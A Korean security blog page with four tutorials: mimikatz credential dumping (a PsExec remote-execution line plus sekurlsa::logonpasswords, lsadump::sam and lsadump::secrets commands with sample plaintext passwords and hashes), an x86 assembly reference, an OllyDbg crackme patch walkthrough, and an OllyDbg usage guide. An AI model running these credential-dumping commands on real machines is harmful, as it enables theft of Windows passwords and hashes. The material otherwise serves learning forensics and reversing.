'Digital forensic'에 해당되는 글 4건

mimikatz 를 이용한 윈도우 비밀번호 해킹

Digital forensic












mimikatz 를 이용한 윈도우 비밀번호 해킹을 설명하겠습니다.





다운로드 : https://github.com/gentilkiwi/mimikatz/releases



가끔 바이러스로 판단을 합니다. 아무래도 해킹툴이다보니 당연하다고 생각하고 조심히 사용하시기 바랍니다.





mimikatz 를 실행할때는 cmd.exe를 "관리자 권한"으로 실행





c:\PsExec.exe \\192.168.0.20 -c C:\Users\user\Desktop\mimikatz_trunk\Win32\mimikatz.exe


C:\Users\user\Desktop\mimikatz_trunk\Win32\mimikatz.exe /accepteula \\192.168.0.20 cmd.exe




PsExec.exe를 설치후에 시도를 해보았으나 정확한 원격이 걸리는지 확인은 안되었으며,

아직까지 성공적인 결과는 아직 얻지 못했습니다.



명령어들 모음과 예시들이며 다양한 공격을 시도 할 수 있습니다.



debug 모드 변경

mimikatz# privilege::debug

privilege '20' OK




윈도우 비밀번호 평문으로 출력이 됩니다.

mimikatz# sekurlsa::logonpasswords

Authentication Id : 0 ; xxxxx (00000000:00xxxxx1)

Session : Interactive from 1

User Name : Administrator,user

Domain : EXADATA,win7x86

SID : S-1-5-21-xx

msv:

 [00000003] Primary

 * Username : Administrator

 * Domain : EXADATA

 * NTLM : ea620aaaaaab08aaaaabbdsfaaaaaax

 * SHA1 : ee199ebc98caaaaaadfsfaaaaaa

 tspkg :

 * Username : Administrator

 * Domain : EXADATA

 * Password : P@ssw0rd

 wdigest :

 * Username : Administrator

 * Domain : EXADATA

 * Password : P@ssw0rd

 kerberos :

 * Username : Administrator

 * Domain : EXADATA

 * Password : P@ssw0rd


윈도우 vault 값 리스트

mimikatz# vault::list

 Name : Administrator's Vault

 Path :

C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-

B380-DD4A704DDB28

 Items (0)

Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}

 Name : Windows Vault

 Path : C:\Users\Administrator\AppData\Local\Microsoft\Vault

 Items (0)


윈도우 token 

mimikatz # token::elevate

Token Id : 0

User name :

SID name : NT AUTHORITY\SYSTEM

448 21440 NT AUTHORITY\SYSTEM S-1-5-18 (04g,30p)

Primary

-> Impersonated !

* Process Token : 10211176 EXADATA\Administrator S-1-5-21-

3350660802-243114697-3461100895-500 (16g,23p) Primary

* Thread Token : 17350275 NT AUTHORITY\SYSTEM S-1-5-18

(04g,30p) Impersonation (Delegation)



mimikatz # lsadump::sam

Domain : EXADATA

SysKey : d7e3d100sdf90sd890f8sd0f80

SAMKey : 1cb0d9808f09ds8f908s09fd098

RID : 000001f4 (500)

User : Administrator

LM :

NTLM : ea62sdf0sd908089s0d8f908ghj789



mimikatz # lsadump::secrets

Domain : EXADATA

SysKey : d7e3d1c13341ea4a000c97f8dbc7a11b

Policy subsystem is : 1.11

LSA Key(s) : 1, default {86648e9a-dcad-6300-0675-edd6e1f91b3d}

 [00] {86648e9a-dcad-sf809s8f0s3d}

3d198bd4e0501dcf8427e1ffsf980809sfa

Secret : DefaultPassword

old/text: P@ssw0rd






mimikatz.pdf


mimikatz 사용법과 메타익스플로잇에 관한 연계된 설명이므로 많은 도움이 될 것 같습니다.

악용을 하지 마시고 좋은 부분으로 사용하여주셨으면 좋겠습니다.




Name
Password
Homepage
Secret

어셈블리어 기초

Digital forensic












데이터 타입 :


 Type

Usage

 BYTE

8비트 부호없는 정수

 SBYTE

8비트 부호있는 정수

 WORD

16비트 부호없는 정수

 SWORD

16비트 부호있는 정수

 DWORD

32비트 부호없는 정수

 SDWORD

32비트 부호있는 정수

 FWORD

48비트 정수

 QWORD

64비트 정수

 TBYTE

80비트 정수

 REAL4

IEEE표준의 32비트 실수

 REAL8

IEEE표준의 64비트 실수

 REAL10

IEEE표준의 80비트 실수



피연산자(operand) 타입 :

피연산자설명
r8 8비트 범용 레지스터
r16 16비트 범용 레지스터
r32 32비트 범용 레지스터
Reg 임의의 범용 레지스터
Sreg 16비트 세그먼트 레지스터
Imm 8, 16, 32비트 즉시값
imm8 8비트 즉시값
imm16 16비트 즉시값
imm32 32비트 즉시값
r/m8 8비트 범용 레지스터, 메모리
r/m16 16비트 범용 레지스터, 메모리
r/m32 32비트 범용 레지스터, 메모리
mem 8, 16, 32비트 메모리 
어셈블리 명령어 :

명  령  어

설                                               명

Data Transfer

MOV

Move

데이터 이동 (전송)

PUSH

Push

오퍼랜드의 내용을 스택에
쌓는다

POP

Pop

스택으로부터 값을 뽑아낸다.

XCHG

Exchange Register/memory with Register

첫 번째 오퍼랜드와 두 번째
오퍼랜드 교환

IN

Input from AL/AX to Fixed port

오퍼랜드로 지시된
포트로부터 AX에
데이터 입력

OUT

Output from AL/AX to Fixed port

오퍼랜드가 지시한
포트로 AX의 데이터
출력

XLAT

Translate byte to AL

BX:AL이 지시한
데이블의 내용을 AL로
로드

LEA

Load Effective Address to Register

메모리의 오프셋값을
레지스터로 로드

LDS

Load Pointer to DS

REG←(MEM),
DS←(MEM+2)

LES

Load Pointer ti ES

REG←(MEM),
ES←(MEM+2)

LAHF

Load AH with Flags

플래그의 내용을
AH의 특정 비트로 로드

SAHF

Store AH into Flags

AH의 특정 비트가
플래그 레지스터로
전송

PUSHF

Push Flags

플래그 레지스터의
내용을 스택에 쌓음

POPF

Pop Flags

스택으로부터 플래그
레지스터로 뽑음

Arithmetic

ADD

Add

캐리를 포함하지 않은
덧셈

SBB

Subtract with Borrow

캐리를 포함한 뺄셈

DEC

Decrement

오퍼랜드 내용을 1 감소

NEG

Change Sign

오퍼랜드의 2의 보수,
즉 부호 반전

CMP

Compare

두 개의 오퍼랜드를
비교한다

ADC

Add with Carry

캐리를 포함한 덧셈

INC

Increment

오퍼랜드 내용을 1 증가

AAA

ASCII adjust for Add

덧셈 결과 AL값을
UNPACK 10진수로
보정

DAA

Decimal adjust for Add

덧셈 결과의 AL값을
PACK 10진수로
보정

SUB

Subtract

캐리를 포함하지 않은 뺄셈

AAS

ASCII adjust for Subtract

뺄셈 결과 AL값을
UNPACK 10진수로
보정

DAS

Decimal adjust for Subtract

뺄셈 결과의 AL값을
PACK 10진수로
보정

MUL

Multiply (Unsigned)

AX와 오퍼랜드를
곱셈하여 결과를 AX
또는 DX:AX에 저장

IMUL

Integer Multiply (Signed)

부호화된 곱셈

AAM

ASCII adjust for Multiply

곱셈 결과 AX값을
UNPACK 10진수로
보정

DIV

Divide (Unsigned)

AX 또는 DX:AX
내용을 오퍼랜드로 나눔.
몫은 AL, AX 나머지는
AH, DX로 저장

IDIV

Integer Divide (Signed)

부호화된 나눗셈

AAD

ASCII adjust for Divide

나눗셈 결과 AX값을
UNPACK 10진수로
보정

CBW

Convert byte to word

AL의 바이트 데이터를
부호 비트를
포함하여 AX 워드로 확장

CWD

Convert word to double word

AX의 워드 데이터를
부호를 포함하여
DX:AX의 더블 워드로 변환

Logic

NOT

Invert

오퍼랜드의 1의 보수,
즉 비트 반전 

SHL/SAL

Shift logical / arithmetic Left

왼쪽으로 오퍼랜드만큼
자리 이동
(최하위 비트는 0)

SHR

Shift logical Right

오른쪽으로 오퍼
랜드만큼 자리 이동
(최상위 비트 0)

SAR

Shift arithmetic Right

오른쪽 자리이동,
최상위 비트는 유지

ROL

Rotate Left

왼쪽으로 오퍼랜드
만큼 회전 이동

ROR

Rotate Right

오른쪽으로 오퍼랜드
만큼 회전 이동

RCL

Rotate through Carry Left

캐리를 포함하여 왼쪽으로
오퍼랜드만큼
회전 이동

RCR

Rotate through Carry Right

캐리를 포함하여
오른쪽으로 오퍼랜드
만큼 회전 이동

AND

And

논리 AND

TEST

And function to Flags, no result

첫 번째 오퍼랜드와
두 번째 오퍼랜드를
AND하여 그 결과로
플래그 세트

OR

Or

논리 OR

XOR

Exclusive Or

배타 논리 합 (OR)

String Manipulation

REP

Repeat

REP 뒤에 오는 스트링
명령을 CX가 0이
될 때까지 반복

MOVS

Move String

DS:SI가 지시한 메모리
데이터를 ES:DI
가 지시한 메모리로 전송

CMPS

Compare String

DS:SI와 ES:DI의 내용을
비교하고 결과에
따라 플래그 설정

SCAS

Scan String

AL 또는 AX와 ES:DI가
지시한 메모리
내용 비교하고 결과에
따라 플래그 설정

LODS

Load String

SI 내용을 AL 또는
AX로 로드

STOS

Store String

AL 또는 AX를 ES:DI가
지시하는 메모리
에 저장

Control Transfer

CALL

Call

프로시저 호출

JMP

Unconditional Jump

무조건 분기

RET

Return from CALL

CALL로 스택에 PUSH된
주소로 복귀

JE/JZ

Jump on Equal / Zero

결과가 0이면 분기

JL/JNGE

Jump on Less / not Greater or Equal

결과가 작으면 분기
(부호화된 수)

JB/JNAE

Jump on Below / not Above or Equal

결과가 작으면 분기
(부호화 안 된 수)

JBE/JNA

Jump on Below or Equal / not Above

결과가 작거나 같으면
분기 (부호화
안 된 수)

JP/JPE

Jump on Parity / Parity Even

패리티 플레그가 1이면 분기

JO

Jump on Overflow

오버플로가 발생하면 분기

JS

Jump on Sign

부호 플레그가 1이면 분기

JNE/JNZ

Jump on not Equal / not Zero

결과가 0이 아니면 분기

JNL/JGE

Jump on not Less / Greater or Equal

결과가 크거나 같으면
분기 (부호화된 수)

JNLE/JG

Jump on not Less or Equal / Greater

결과가 크면 분기
(부호화된 수)

JNB/JAE

Jump on not Below / Above or Equal

결과가 크거나 같으면
분기 (부호화 안된 수)

JNBE/JA

Jump on not Below or Equal / Above

결과가 크면 분기
(부호화 안 된 수)

JNP/JPO

Jump on not Parity / Parity odd

패리티 플레그가
0이면 분기

JNO

Jump on not Overflow

오버플로우가 아닌
경우 분기

JNS

Jump on not Sign

부호 플레그가 0이면 분기

LOOP

Loop CX times

CX를 1감소하면서 0이 될
때까지 지정된
라벨로 분기

LOOPZ/LOOPE

Loop while Zero / Equal

제로 플레그가 1이고
CX≠0이면
지정된 라벨로 분기

LOOPNZ/LOOPNE

Loop while not Zero / not Equal

제로 플레그가 0이고
CX≠0이면
지정된 라벨로 분기

JCXZ

Jump on CX Zero

CX가 0이면 분기

INT

Interrupt

인터럽트 실행

INTO

Interrupt on Overflow

오버플로우가 발생하면
인터럽트 실행

IRET

Interrupt Return

인터럽트 복귀 (리턴)

Processor Control

CLC

Clear Carry

캐리 플레그 클리어

CMC

Complement Carry

캐리 플레그를 반전

CLD

Clear Direction

디렉션 플레그를 클리어

CLI

Clear Interrupt

인터럽트 플레그를 클리어

HLT

Halt

정지

LOCK

Bus Lock prefix


STC

Set Carry

캐리 플레그 셋

NOP

No operation


STD

Set Direction

디렉션 플레그 셋

STI

Set Interrupt

인터럽트 인에이블
플레그 셋

WAIT

Wait

프로세서를 일지 정지
상태로 한다

ESC

Escape to External device

이스케이프 명령

 

8086 지시어

 

지시어

내                                  용

형                                  식

SEGMENT
-
END

어셈블리 프로그램은 한 개 이상의 세그먼트들로 구성된다. SEGMENT 지시어는 하나의 세그먼트를 정의한다.

segname SEGMENT ;
세그먼트 시작
⋮ ; 세그먼트 내용
segname ENDS ;
세그먼트 끝

PROC
-
ENDP

매크로 어셈블리에서는 프로그램의 실행 부분을 모듈로 작성할 수 있다. 이 모듈을 프로시저(Procedure)라 부르며, PROC 지시어가 이를 정의한다.

procname PROC ;
프로시저의 시작
⋮ ;
프로시저의 내용
procname ENDP ;
프로시저의 끝

ASSUME

어셈블러에게 세그먼트 레지스터와 사용자가 작성한 세그먼트의 이름을 연결시킨다.

ASSUME SS:
stack_segname,
DS:data_segname,
CS:code_segname,
ES:extra_segname

END

전제 프로그램의 끝을 나타냄

END

데이터 정의 지시어 : 프로그램에서 데이터를 저장할 기억 장소를 정의, 초기값 부여

DB

Define Byte

name DB 초기값

DW

Define Word

name DW 초기값

DD

Define Double Word

name DD 초기값

DQ

Define Quad Word

name DQ 초기값

DT

Define Ten Bytes

name DT 초기값

EQU

변수 이름에 데이터값이나 문자열 정의

name EQU
데이터값/문자열

=

EQU와 달리 정의된 값을 변경 가능


EVEN

어셈블리시 이 지시어가 사용되는 곳의 주소가 짝수로 되도록 함


PAGE

어셈블리 리스트의 형식을 결정

PAGE [length][,width]

TITLE

어셈블리 리스트의 각 페이지에 제목 출력

TITLE text

 

출처:http://linkc.tistory.com/ 어셈블리어 정리

Name
Password
Homepage
Secret

올리디버거 Crack me 문제풀이1

Digital forensic














crackme author : abex
type                 : cdrom check
level                 : easy
tute author         : HaQue



Ollydbg.exe 실행해서 abexcm1.exe를 open한다.
프로그램이 어떻게 작동되는지 보기 위해 Run(F9)을 한다.


첫 번째 메시지박스가 나타나고, 확인을 클릭하면 두 번째 메시지박스가 나타난다.


확인을 클릭하고 올리디버거를 보면 프로그램이 종료되었음을 알 수 있다.


첫번째 메시지박스에는 CD-ROM을 체크하는 루틴을 우회하라고 나오고
두번째 메시지박스에는 CD-ROM이 아니라고 하며 프로그램이 종료되었다.


이 문제를 푸는 방법에는 메모리 주소 흐름을 바꾸는 방법과, CD-ROM을 체크하는 함수의
리턴값을 변경해서 푸는 방법 2가지 방법이 있다.


1번 방법 풀이(메모리 주소 흐름 변경) : 

취약한 프로그램 리버싱 순서 :
1. 프로그램 흐름 분석
2. 문자열을 이용한 특정 이벤트 시점 찾기
3. 성공이었을 경우의 문자열 위치를 찾아 무조건 성공하도록 흐름 변경

프로그램의 흐름을 파악했으니 문자열을 통해 특정 이벤트 시점을 찾아보겠다.
프로그램이 종료되어 있는 상태니 Restart한다.(Ctrl + F2)  어셈블리코드가 보이는 화면에서 우클릭후 Search for -> All referenced text strings 를 선택후 문자열을 확인해본다.


문자열 목록을 보면, CD-ROM이 인식되었을때는 00401044 주소의 값이 출력되는 것을 예상
할수 있다. 해당 문자열을 더블 클릭하여 해당 주소지로 이동하자.


위에 GetDriveTypeA라는 드라이브의 유형을 리턴해주는 API가 보인다.(두번째 풀이는 이 API를 이용한다)
또 JE문에 의해 점프를 할때에는 성공 메시지박스가 점프를 안할 때는 실패 메세지박스가 뜬다. 실패메시지박스가 뜬 뒤에는 JMP구문에 의해 프로세스가 종료된다. 그러므로 JE문을 JMP문으로 바꿔준다면 ZF플래그와 상관없이 무조건 성공메시지박스만이 뜰것이다.

                  (어셈블리어 참고 : http://dakuo.tistory.com/entry/기초-어셈블리어)


수정을 하고 나서 Run(F9)을 하면 문제가 풀어진 것을 알수 있다.
수정한 내용을 파일로 저장을 하기 위해 수정한 부분에서 우클릭 후 Copy to executable -> All modifications를 선택한 후 Copy all을 클릭한다.


수정된 어셈블리어들이 나타난 창에서 우클릭 후 Save file을 선택한다.




2번 방법 풀이(WinAPI함수의 리턴값 변경) :

E 버튼을 눌러서 Executable modules창을 연다.
실행중인 문제 파일인 abexcm1.exe 항목에서 우클릭 후 View Names를 선택한다.


사용되고 있는 api함수 목록을 볼수 있다.
GetDriveTypeA라는 함수가 드라이브의 유형을 리턴해줄것 같다. 원형을 보기 위해서 우클릭후 Help on symbolic name을 선택한다. 기존에 연결시켜 놓은 헬프 파일에서 해당 api이름을 검색해서 보여준다.


레퍼런스를 확인하면 목적, 파라미터, 리턴값을 알 수 있다.
그런데 리턴값에서 0, 1 다음에는 문자열로 지정되어 있다. 정확한 값을 알기 위해 MSDN에서 검색해보면 CDROM은 5가 리턴된다. 이제 Breakpoint를 설정하여 해당 api가 실행되는 과정을 분석하고, 리턴 값을 수정해주면 된다. 해당 api함수에 우클릭 후 Set breakpoint on every reference 메뉴를 선택한다. Command Line이라는 플러그인에서 bpx 함수명으로 명령을 주는 것과 비슷한 기능이다.(이플러그인은 기본플러그인이다) plugin메뉴 -> Command line -> Command line을 선택해주면 창이 생긴다. 여기서 bpx GetDriveTypeA라고 명령어를 치면 해당 api에 모두 브레이크 포인트를 설정해준다. 익숙해지면 디버깅 속도를 단축시킬수 있어서 편리하며, 찾고 싶은 api를 미리 알고 있다면 특정 시점을 찾기가 쉬워진다.


(참고로 Command Bar(cmdbar.dll)라는 플러그인을 사용하면 올리디버거 하단에 붙어있어서 자주 커맨드 명령을 사용할 경우 Command Bar를 사용하는것이 효율적이다. 올리디버거 플러그인이 잘 정리된 곳으로는 OpenRCE가 있다)

 

CPU창에서 Run(F9)을 해보면 GetDriveTypeA에서 멈추게 된다. Step Over(F8)시켜서 api를 실행시킨다.


위부분은 api가 실행된 후부터 (성공or실패)메시지박스를 만나기 위한 분기점까지의 어셈코드이다. 이부분을 해석하면


마지막에 DEC EAX 구문만 없으면 CMP EAX ESI 에서 2 : 2로 똑같아져서 JE문에서 점프를 하게 된다. EDC EAX 를 NOP로 바꾸자. 변경을 한 후에 Run(F9)를 해보면 문제를 푼 것을 확인 할수 있다. 변경한 코드를 저장하면 모든 풀이가 끝이 난다.

출처:http://cafe368.daum.net/_c21_/bbs_search_read?grpid=1EnEw&fldid=SbNN&contentval=00001zzzzzzzzzzzzzzzzzzzzzzzzz&nenc=&fenc=&q=stepinto&nil_profile=cafetop&nil_menu=sch_updw 
 [최강자료]ㅣ올리디버거강좌 크랙미풀이
왕우 2012.05.12 21:20 신고 URL EDIT REPLY
우왕ㅋ
Name
Password
Homepage
Secret

올리디버거(OllyDbg) 사용법과 다운로드

Digital forensic











버싱을 하기 위해서 이용되는 툴중에 디버거라는 것이 있다.

이 디버거들 중에 가장 대표적인 것은 올리디버거(OllyDebugger)이다.

다운로드


odbg110.zip를 다운로드 받아서 odbg110 폴더에 압축을 풀고 Plugin폴더와 UDD폴더를 생성한다.
Win32_Programmers_Reference.rar로 압축을 풀어 wn32.hlp 파일을 obdg110 폴더에 넣는다. BOOKMARK.dll과 cmdline.dll은 Plugin폴더에 넣는다.

Ollydbg.exe를 실행하고  Option -> Appearance ->Directories를 열고 그림과 같이 경로 설정을 하고 다시 실행을 해준다.


이외에 설정해 주면 좋은 옵션은
작업관리자의 프로세스 목록에서 바로 디버깅 연결이 가능한 Jit(Just-in-time Debugging)
탐색기에서 파일 우클릭으로 바로 연결 가능한 Add explorer이 있다.


Help메뉴에서 Select API help file 선택을 해서 win32,hlp을 열어주면 자동으로 winapi도움말과 연결이 된다.


그리고 디버깅 옵션의 Event탭에서 프로그램을 열었을 때 시작할 위치를 Entry point of main module로 시작 지점을 잡아주도록 수정하는것이 좋다.


자 이제 마지막으로 점프위치를 화살표로 보기 좋게 표현하도록 고쳐보자.
ini파일을 메모장으로 열어서 [Settings]섹션을 다음과 같이 수정한다.

이렇게 바꿔주면 왼쪽처럼 화살표가 없던것이 오른쪽과 같이 화살표가 생긴다.

다른 옵션들은 자기에 맞게 변경하면 되고 그 옵션값들은 ollydbg.ini에 저장이 된다.
따라서 파일을 직접 수정해서 고치는것도 가능하다.

(참고로 TUTS4YOU 사이트에는 여러 형태의 리버싱 연습 문제들과 강좌도 많으므로
리버싱 공부를 위해 참고하면 좋다. : http://www.tuts4you.com/)


// ps. 추가로 한글판도 올립니다.



올리디버거로 notepad.exe를 열었을때의 화면이다.


1. 어셈블리코드
2. 레지스터 상태
3. Dump
4. 스택

3. Dump창에는 Heap이나 FileMap, Text 영역의 값들이 올 수 있다. 주소 부분을 16진수로 보여준다.

MENU :

[File] : 파일을 디버거로 불러오는 Open, 실행중인 프로세스를 디버거로 붙이는 Attach(해당 프로세스는 정지상태가 된다), 디버거를 종료하는 Exit가 있다.

[View] : 보여주는 기능. Memory를 선택하면 현재 Memory의 모습을 보여주고, Call Stack(Alt + K)을 선택하면 어디서 어떤 함수가 호출되었는지를 보여준다. 각 기능을 실행해보고 파악하자.

[Debug] :
Run : 디버거로 불러온 프로그램을 실행시킨다. Breakpoint를 만나거나 Exception이 발생해서 프로그램이 정지할때까지 실행한다. (단축키 : F9)
Restart : 프로그램을 처음부터 실행시키기 위해 재실행한다. Run을 해야 프로그램이 실행된다. (단축키 : Ctrl + F2)
Step into : 코드를 한줄씩 실행한다. Call(함수호출)나 Rep (반복문) 명령어를 만나면 함수내부로 들어가고 조건을 만족할때까지 계속 수행한다. (단축키 : F7)
Step over : 코드를 한줄씩 실행한다. Call(함수호출)나 Rep(반복문) 명령어를 만났을때 함수내부로 추적하지 않고 실행하며 반복문도 한번에 처리한후 다음줄로 넘어간다. (단축키 : F8)
Execute till return : 추적할 필요가 없는 함수 내부로 들어갔을때 그 함수의 ret명령 지점까지 한번에 실행하고 함수를 나올수 있다. (단축키 : Ctrl + F9)

[Plugin] : 올리디버거에서 사용하는 여러 플러그인 기능들이 있다. 다운받아 사용한다.

[Options] : 올리디버거의 설정 사항을 조정할수 있다.
Appearance에서는 Udd폴더나 Plugins폴더를 설정할 수 있고, 폰트도 변경할 수 있다.
Debugging options에서는 디버깅과 관련된 여러가지 설정을 변경할 수 있다.

[Windows] : 올리디버거 내부 윈도우들의 정렬 방식을 바꿀수 있으며, 원하는 윈도우를 활성화시킬 수도 있다.

1. 어셈블리코드 부분에서 우클릭시에 나오는 메뉴다.


Comment : 어셈블리코드 옆에 주석을 달아 놓을 수 있는 기능이다. 주석을 달아 놓음으로써 프로그램 분석을 보다 편리하게 할 수 있으므로 주석을 자주 달자.

Breakpoint : 디버거로 대상 프로그램을 실행시켰을 때 Breakpoint를 만나면 실행을 멈추고
사용자에게 제어를 넘겨준다.

Breakpoint에는 크게 두 가지가 있다.

Software Breakpoint
CPU는 인터럽트를 이용하여 운영체제에게 특정 이벤트를 알려주며 CC(int3)라는 인터럽트가 발생되면 프로그램의 동작이 멈추게 되며 디버거에게 넘겨지게 되고 제어가 된다.
 

 Hardware Breakpoint
디버그 레지스터인 DR0, DR1, DR3, DR6, DR7을 이용하며 DR0~DR3은 Breakpoint를
걸어줄 대상의 주소 또는 범위를 설정할수 있으며 DR6은 인터럽트가 발생했을때의 결과를 알려주며 DR7은 Breakpoint의 속성을 설정할수 있다. 이것을 이용하면 특정 메모리 주소에 Write, Read, Excute가 발생했을 때 어떤 주소에서 실행이 되었는지 알수가 있다.
 


All intermodular calls 기능은 Import된 함수들의 목록을 볼 수 있다.
All referenced text string 기능은 사용되는 문자열 값을 보여준다.

어셈블리코드가 있는 부분에서 더블클릭할 시에 직접 어셈블리 코드를 수정할 수 있다.
나머지 메뉴는 직접 실행해보며 파악하자.


2. 레지스터창에서 우클릭시 나오는 메뉴이다.


레지스터 상태창의 레지스터를 더블클릭하면 레지스터에 설정된 값을 변경할 수 있다.


3. Dump창에서 우클릭시 나오는 메뉴이다.



4. 스택창에서 우클릭시 나오는 메뉴이다.


Lock stack : 스택이 표시되는 윈도우가 ESP의 값에 따라서 변하는 것을 막아 표시되는 부분이 변하지 않도록 하여 스택의 특정 부분을 감시한다.
Go to EBP : 현재 EBP 레지스터가 가리키고 있는 주소로 스택 윈도우를 바꿔준다.
Follow in Dump : 스택에 들어있는 주소값에 어떤 데이터가 존재하는지 확인한다.

올리디버거의 화면을 세부적으로 설명하겠다.


1. 메모리 주소 : 프로그램을 디버깅하는 동안에 표시되는 주소지로 Ctrl + G 단축키로 특정
위치로 이동할 수 있다.

2. Opcode : 오퍼레이션 코드로 어떤 작동을 하는 코드들이 1byte로 정리되어 있다.
(1opcode == 1byte/2bytes == 1word/2words == 1dword)

3. Assembler Code : 디스어셈블된 코드들이다.

4. Olly가 분석한 내용 : api 함수들이나 문자열, 함수 파라미터들을 올리디버거가 보기 좋게 정리해서 보여준다.

5. 사용자가 입력한 주석 표시 : 세미클론(;)을 누르면 임시로 구분해 놓기 위한 내용들을 적을 수 있다.

6. 변수값 출력창 : 디버깅 중에 주요 변수들에 어떤 값들이 들어갔는지 표시해주는 창으로 자주 확인해야 한다.

7. Hex Dump창 : 16진수로 덤프를 하여 표시해주는 영역으로 바이너리 파일을 직접 수정할 때에 쓰인다.(hex값은 두 자리가 1byte이며, 1byte는 8bit가 된다)

8. 레지스터와 플래그 값 : CPU가 필요할 경우 사용하는 레지스터와 플래그의 값이 어떻게 변화하는지 보여준다. 레지스트리는 특별한 메모리 공간으로써 data를 저장하고 이용 가능하다.



다음은 OllyDBG 110의 단축키이다.

Pop-up menus display only items that apply. Frequently used menu functions:  

Function

Window

Menu command

Shortcut

Edit memory as binary, ASCII or UNICODE string

Disassembler, Stack Dump

Binary|Edit

Ctrl+E

Undo changes

Disassembler, Dump Registers

Undo selection Undo

Alt+BkSp

Run application

Main

Debug|Run

F9

Run to selection

Disassembler

Breakpoint|Run to selection

F4

Execute till return

Main

Debug|Execute till return

Ctrl+F9

Execute till user code

Main

Debug|Execute till user code

Alt+F9

Set/reset INT3 breakpoint

Disassembler Names, Source

Breakpoint|Toggle Toggle breakpoint

F2

Set/edit conditional INT3 breakpoint

Disassembler Names, Source

Breakpoint|Conditional Conditional breakpoint

Shift+F2

Set/edit conditional logging breakpoint (logs into the Log window)

Disassembler Names, Source

Breakpoint|Conditional log Conditional log breakpoint

Shift+F4

Temporarily disable/restore INT3 breakpoint

Breakpoints

Disable Enable

Space

Set memory breakpoint (only one is allowed)

Disassembler, Dump

Breakpoint|Memory, on access Breakpoint|Memory, on write

 

Remove memory breakpoint

Disassembler, Dump

Breakpoint|Remove memory breakpoint

 

Set hardware breakpoint (ME/NT/2000 only)

Disassembler, Dump

Breakpoint|Hardware (select type and size!)

 

Remove hardware breakpoint

Main

Debug|Hardware breakpoints

 

Set single-short break on access to memory block (NT/2000 only)

Memory

Set break-on-access

F2 

Set break on module, thread, debug string 

Options

Events

 

Set new origin

Disassembler

New origin here

 

Display list of all symbolic names

Disassembler, Dump Modules

Search for|Name (label) View names

Ctrl+N

Context-sensitive help (requires external help file!)

Disassembler, Names

Help on symbolic name

Ctrl+F1

Find all references in code to selected address range

Disassembler Dump

Find references to|Command Find references

Ctrl+R

Find all references in code to the constant

Disassembler

Find references to|Constant Search for|All constants

 

Search whole allocated memory

Memory 

Search Search next

Ctrl+L

Go to address or value of expression

Disassembler Dump

Go to|Expression Go to expression

Ctrl+G

Go to previous address/run trace item

Disassembler

Go to|Previous

Minus

Go to next address/run trace item

Disassembler

Go to|Next

Plus

Go to previous procedure

Disassembler

Go to|Previous procedure

Ctrl+Minus

Go to next procedure

Disassembler

Go to|Next procedure

Ctrl+Plus

View executable file

Disassembler, Dump, Modules

View|Executable file

 

Copy changes to executable file

Disassembler

Copy to executable file

 

Analyse executable code

Disassembler

Analysis|Analyse code

Ctrl+A

Scan object files and libraries

Disassembler

Scan object files

Ctrl+O

View resources

Modules, Memory

View all resources View resource strings

 

Suspend/resume thread

Threads

Suspend Resume

 

Display relative addresses

Disassembler, Dump, Stack

Doubleclick address

 

Copy

Most of windows

Copy to clipboard

Ctrl+C




Frequently used global shortcuts:
 

Ctrl+F2

Restart program

Alt+F2

Close program

F3

Open new program

F5

Maximize/restore active window

Alt+F5

Make OllyDbg topmost

F7

Step into (entering functions)

Ctrl+F7

Animate into (entering functions)

F8

Step over (executing function calls at once)

Ctrl+F8

Animate over (executing function calls at once)

F9

Run

Shift+F9

Pass exception to standard handler and run

Ctrl+F9

Execute till return

Alt+F9

Execute till user code

Ctrl+F11

Trace into

F12

Pause

Ctrl+F12

Trace over

Alt+B

Open Breakpoints window

Alt+C

Open CPU window

Alt+E

Open Modules window

Alt+L

Open Log window

Alt+M

Open Memory window

Alt+O

Open Options dialog

Ctrl+T

Set condition to pause Run trace

Alt+X

Close OllyDbg



Frequently used Disasembler shortcuts:
 

F2

Toggle breakpoint

Shift+F2

Set conditional breakpoint

F4

Run to selection

Alt+F7

Go to previous reference

Alt+F8

Go to next reference

Ctrl+A

Analyse code

Ctrl+B

Start binary search

Ctrl+C

Copy selection to clipboard

Ctrl+E

Edit selection in binary format

Ctrl+F

Search for a command

Ctrl+G

Follow expression

Ctrl+J

Show list of jumps to selected line

Ctrl+K

View call tree

Ctrl+L

Repeat last search

Ctrl+N

Open list of labels (names)

Ctrl+O

Scan object files

Ctrl+R

Find references to selected command

Ctrl+S

Search for a sequence of commands

Asterisk (*)

Origin

Enter

Follow jump or call

Plus (+)

Go to next location/next run trace item

Minus (-)

Go to previous location/previous run trace item

Space (  )

Assemble

Colon (:)

Add label

Semicolon (;)

Add comment




출처 : http://dakuo.tistory.com/5저작자 표시 hacker dakuo


Name
Password
Homepage
Secret